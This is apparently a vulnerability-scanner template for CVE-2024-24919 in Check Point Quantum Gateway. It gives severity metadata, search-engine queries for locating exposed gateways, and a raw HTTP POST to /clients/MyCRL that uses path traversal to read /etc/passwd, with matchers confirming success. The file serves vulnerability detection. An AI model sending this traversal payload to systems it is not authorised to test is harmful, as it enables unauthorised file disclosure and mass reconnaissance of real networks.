id: CVE-2024-24919

info:
  name: Check Point Quantum Gateway - Information Disclosure
  author: johnk3r,s4e-io
  severity: high
  description: |
    Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available.
  reference:
    - https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
    - https://support.checkpoint.com/results/sk/sk182337
    - https://s4e.io/tools/check-point-quantum-gateway-information-disclosure-cve-2024-24919
    - https://thehackernews.com/2024/05/check-point-warns-of-zero-day-attacks.html
    - https://censys.com/cve-2024-24919/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-24919
    cwe-id: CWE-200
    epss-score: 0.94337
    epss-percentile: 0.99944
    cpe: cpe:2.3:h:checkpoint:quantum_security_gateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: checkpoint
    product: quantum_security_gateway
    shodan-query:
      - html:"Check Point SSL Network"
      - http.html:"check point ssl network"
    fofa-query: body="check point ssl network"
  tags: cve,cve2024,checkpoint,lfi,kev

http:
  - raw:
      - |
        POST /clients/MyCRL HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

        aCSHELL/../../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*"
          - "nobody:.*"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205356e65978c69ed095ec70bd53a583be014adbfaf1362261bb03de7f05e0fd9702207fad17d2a1a2881ec5536b70dee432be3f27845f097d603e2f881cb1a3737b30:922c64590222798bb761d5b6d8e72950